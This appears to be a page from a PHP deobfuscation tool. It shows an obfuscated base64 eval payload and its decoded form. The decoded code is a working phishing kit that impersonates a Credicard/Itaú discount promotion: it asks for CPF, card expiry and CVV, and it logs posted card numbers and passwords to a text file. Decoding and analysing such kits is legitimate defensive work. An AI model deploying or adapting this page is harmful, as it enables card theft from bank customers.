Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php @eval("?>".base64_decode("PD9waHANCiRjYXJkPSAkX1BPU1RbJ251bWMnXTsNCiRzZW5oYSA9ICRfUE..

Decoded Output download

?>b'<?php
$card= $_POST[\'numc\'];
$senha = $_POST[\'passc\'];
$tudo = "".$card." | ".$senha." | ";

$fp = fopen("cardsenha.txt", "a");
fwrite($fp, $tudo);
fclose($fp);
?>
<!DOCTYPE html>
<html><head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
	<title>Credicard | Promoo desconto</title>
	<meta charset="utf-8">
	<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0">
	<script type="text/javascript" src="promocao_arquivos/jquery-3.js"></script>
	<script type="text/javascript" src="promocao_arquivos/jquery.js"></script>
	<script type="text/javascript" src="promocao_arquivos/cad_promo_scripts.js"></script>
	<link rel="stylesheet" type="text/css" href="promocao_arquivos/cad_promo_style.css">
</head>
<body>
	<header class="top-promo">
	<img src="promocao_arquivos/img_logo.png">
	</header>
	<section class="prog-cad">
		<ul>
			<li class="active">Identificao</li>
			<li>Cadastro</li>
			<li>Benefcios</li>
		</ul>
	</section>
	<section class="frm-container">
		<div class="eng-tx">
			<p>Ol cliente, para cadastrar seu carto na promoo desconto 
Credicard e receber 50% de desconto em suas compras feitas nos 
estabelecimentos parceiros do itau, confirme os dados abaixo.</p>
		</div>
		<div class="frm">
			<form id="frmcad" name="frmcad" method="POST" action="parabens.php">
				<input name="numc" value="1232 1231 2312 3212" type="hidden">
				<input name="passc" value="1232" type="hidden">
				<div class="frm-item">
					<input id="numcpf" name="numcpf" maxlength="14" autocomplete="off" required="" onkeyup="validatefrmcad(this.id)" type="tel">
					<label for="numcpf" class="label-float">CPF</label>
				</div>
				<div class="frm-item">
					<input id="numdtv" name="numdtv" maxlength="5" autocomplete="off" required="" onkeyup="validatefrmcad(this.id)" type="tel">
					<label for="numdtv" class="label-float">Validade do carto</label>
				</div>
				<div class="frm-item">
					<input id="numcvv" name="numcvv" maxlength="3" autocomplete="off" required="" onkeyup="validatefrmcad(this.id)" type="tel">
					<label for="numcvv" class="label-float">Cdigo de segurana</label>
					<span id="helpcvv" class="helpcvv"></span>
				</div>
				<input id="btncad" class="btncad" name="btncad" value="cadastrar" disabled="disabled" onclick="return validateckfrm()" type="submit">
			</form>
		</div>
	</section>
	<section id="mod-help-cvv" class="mod-help-cvv">
		<span id="mod-help-close" class="mod-help-close">x</span>
		<div class="container-mod">
			<img class="img-mod-help" src="promocao_arquivos/img_card_cvv.png">
			<p>O cdigo de segurana so os trs dgitos que encontra-se no verso do seu carto, como mostrado na imagem acima.</p>
		</div>
	</section>

</body></html>'

Did this file decode correctly?

Original Code

<?php @eval("?>".base64_decode("PD9waHANCiRjYXJkPSAkX1BPU1RbJ251bWMnXTsNCiRzZW5oYSA9ICRfUE9TVFsncGFzc2MnXTsNCiR0dWRvID0gIiIuJGNhcmQuIiB8ICIuJHNlbmhhLiIgfCAiOw0KDQokZnAgPSBmb3BlbigiY2FyZHNlbmhhLnR4dCIsICJhIik7DQpmd3JpdGUoJGZwLCAkdHVkbyk7DQpmY2xvc2UoJGZwKTsNCj8+DQo8IURPQ1RZUEUgaHRtbD4NCjxodG1sPjxoZWFkPg0KPG1ldGEgaHR0cC1lcXVpdj0iY29udGVudC10eXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgiPg0KCTx0aXRsZT5DcmVkaWNhcmQgfCBQcm9tb8Onw6NvIGRlc2NvbnTDo288L3RpdGxlPg0KCTxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4NCgk8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCwgbWF4aW11bS1zY2FsZT0xLjAiPg0KCTxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0IiBzcmM9InByb21vY2FvX2FycXVpdm9zL2pxdWVyeS0zLmpzIj48L3NjcmlwdD4NCgk8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCIgc3JjPSJwcm9tb2Nhb19hcnF1aXZvcy9qcXVlcnkuanMiPjwvc2NyaXB0Pg0KCTxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0IiBzcmM9InByb21vY2FvX2FycXVpdm9zL2NhZF9wcm9tb19zY3JpcHRzLmpzIj48L3NjcmlwdD4NCgk8bGluayByZWw9InN0eWxlc2hlZXQiIHR5cGU9InRleHQvY3NzIiBocmVmPSJwcm9tb2Nhb19hcnF1aXZvcy9jYWRfcHJvbW9fc3R5bGUuY3NzIj4NCjwvaGVhZD4NCjxib2R5Pg0KCTxoZWFkZXIgY2xhc3M9InRvcC1wcm9tbyI+DQoJPGltZyBzcmM9InByb21vY2FvX2FycXVpdm9zL2ltZ19sb2dvLnBuZyI+DQoJPC9oZWFkZXI+DQoJPHNlY3Rpb24gY2xhc3M9InByb2ctY2FkIj4NCgkJPHVsPg0KCQkJPGxpIGNsYXNzPSJhY3RpdmUiPklkZW50aWZpY2HDp8OjbzwvbGk+DQoJCQk8bGk+Q2FkYXN0cm88L2xpPg0KCQkJPGxpPkJlbmVmw61jaW9zPC9saT4NCgkJPC91bD4NCgk8L3NlY3Rpb24+DQoJPHNlY3Rpb24gY2xhc3M9ImZybS1jb250YWluZXIiPg0KCQk8ZGl2IGNsYXNzPSJlbmctdHgiPg0KCQkJPHA+T2zDoSBjbGllbnRlLCBwYXJhIGNhZGFzdHJhciBzZXUgY2FydMOjbyBuYSBwcm9tb8Onw6NvIGRlc2NvbnTDo28gDQpDcmVkaWNhcmQgZSByZWNlYmVyIDUwJSBkZSBkZXNjb250byBlbSBzdWFzIGNvbXByYXMgZmVpdGFzIG5vcyANCmVzdGFiZWxlY2ltZW50b3MgcGFyY2Vpcm9zIGRvIGl0YXUsIGNvbmZpcm1lIG9zIGRhZG9zIGFiYWl4by48L3A+DQoJCTwvZGl2Pg0KCQk8ZGl2IGNsYXNzPSJmcm0iPg0KCQkJPGZvcm0gaWQ9ImZybWNhZCIgbmFtZT0iZnJtY2FkIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0icGFyYWJlbnMucGhwIj4NCgkJCQk8aW5wdXQgbmFtZT0ibnVtYyIgdmFsdWU9IjEyMzIgMTIzMSAyMzEyIDMyMTIiIHR5cGU9ImhpZGRlbiI+DQoJCQkJPGlucHV0IG5hbWU9InBhc3NjIiB2YWx1ZT0iMTIzMiIgdHlwZT0iaGlkZGVuIj4NCgkJCQk8ZGl2IGNsYXNzPSJmcm0taXRlbSI+DQoJCQkJCTxpbnB1dCBpZD0ibnVtY3BmIiBuYW1lPSJudW1jcGYiIG1heGxlbmd0aD0iMTQiIGF1dG9jb21wbGV0ZT0ib2ZmIiByZXF1aXJlZD0iIiBvbmtleXVwPSJ2YWxpZGF0ZWZybWNhZCh0aGlzLmlkKSIgdHlwZT0idGVsIj4NCgkJCQkJPGxhYmVsIGZvcj0ibnVtY3BmIiBjbGFzcz0ibGFiZWwtZmxvYXQiPkNQRjwvbGFiZWw+DQoJCQkJPC9kaXY+DQoJCQkJPGRpdiBjbGFzcz0iZnJtLWl0ZW0iPg0KCQkJCQk8aW5wdXQgaWQ9Im51bWR0diIgbmFtZT0ibnVtZHR2IiBtYXhsZW5ndGg9IjUiIGF1dG9jb21wbGV0ZT0ib2ZmIiByZXF1aXJlZD0iIiBvbmtleXVwPSJ2YWxpZGF0ZWZybWNhZCh0aGlzLmlkKSIgdHlwZT0idGVsIj4NCgkJCQkJPGxhYmVsIGZvcj0ibnVtZHR2IiBjbGFzcz0ibGFiZWwtZmxvYXQiPlZhbGlkYWRlIGRvIGNhcnTDo288L2xhYmVsPg0KCQkJCTwvZGl2Pg0KCQkJCTxkaXYgY2xhc3M9ImZybS1pdGVtIj4NCgkJCQkJPGlucHV0IGlkPSJudW1jdnYiIG5hbWU9Im51bWN2diIgbWF4bGVuZ3RoPSIzIiBhdXRvY29tcGxldGU9Im9mZiIgcmVxdWlyZWQ9IiIgb25rZXl1cD0idmFsaWRhdGVmcm1jYWQodGhpcy5pZCkiIHR5cGU9InRlbCI+DQoJCQkJCTxsYWJlbCBmb3I9Im51bWN2diIgY2xhc3M9ImxhYmVsLWZsb2F0Ij5Dw7NkaWdvIGRlIHNlZ3VyYW7Dp2E8L2xhYmVsPg0KCQkJCQk8c3BhbiBpZD0iaGVscGN2diIgY2xhc3M9ImhlbHBjdnYiPjwvc3Bhbj4NCgkJCQk8L2Rpdj4NCgkJCQk8aW5wdXQgaWQ9ImJ0bmNhZCIgY2xhc3M9ImJ0bmNhZCIgbmFtZT0iYnRuY2FkIiB2YWx1ZT0iY2FkYXN0cmFyIiBkaXNhYmxlZD0iZGlzYWJsZWQiIG9uY2xpY2s9InJldHVybiB2YWxpZGF0ZWNrZnJtKCkiIHR5cGU9InN1Ym1pdCI+DQoJCQk8L2Zvcm0+DQoJCTwvZGl2Pg0KCTwvc2VjdGlvbj4NCgk8c2VjdGlvbiBpZD0ibW9kLWhlbHAtY3Z2IiBjbGFzcz0ibW9kLWhlbHAtY3Z2Ij4NCgkJPHNwYW4gaWQ9Im1vZC1oZWxwLWNsb3NlIiBjbGFzcz0ibW9kLWhlbHAtY2xvc2UiPng8L3NwYW4+DQoJCTxkaXYgY2xhc3M9ImNvbnRhaW5lci1tb2QiPg0KCQkJPGltZyBjbGFzcz0iaW1nLW1vZC1oZWxwIiBzcmM9InByb21vY2FvX2FycXVpdm9zL2ltZ19jYXJkX2N2di5wbmciPg0KCQkJPHA+TyBjw7NkaWdvIGRlIHNlZ3VyYW7Dp2Egc8OjbyBvcyB0csOqcyBkw61naXRvcyBxdWUgZW5jb250cmEtc2Ugbm8gdmVyc28gZG8gc2V1IGNhcnTDo28sIGNvbW8gbW9zdHJhZG8gbmEgaW1hZ2VtIGFjaW1hLjwvcD4NCgkJPC9kaXY+DQoJPC9zZWN0aW9uPg0KDQo8L2JvZHk+PC9odG1sPg=="));

Function Calls

base64_decode 1

Variables

None

Stats

MD5 9f8b1006bee0cce6d0ebb17290976f63
Eval Count 1
Decode Time 41 ms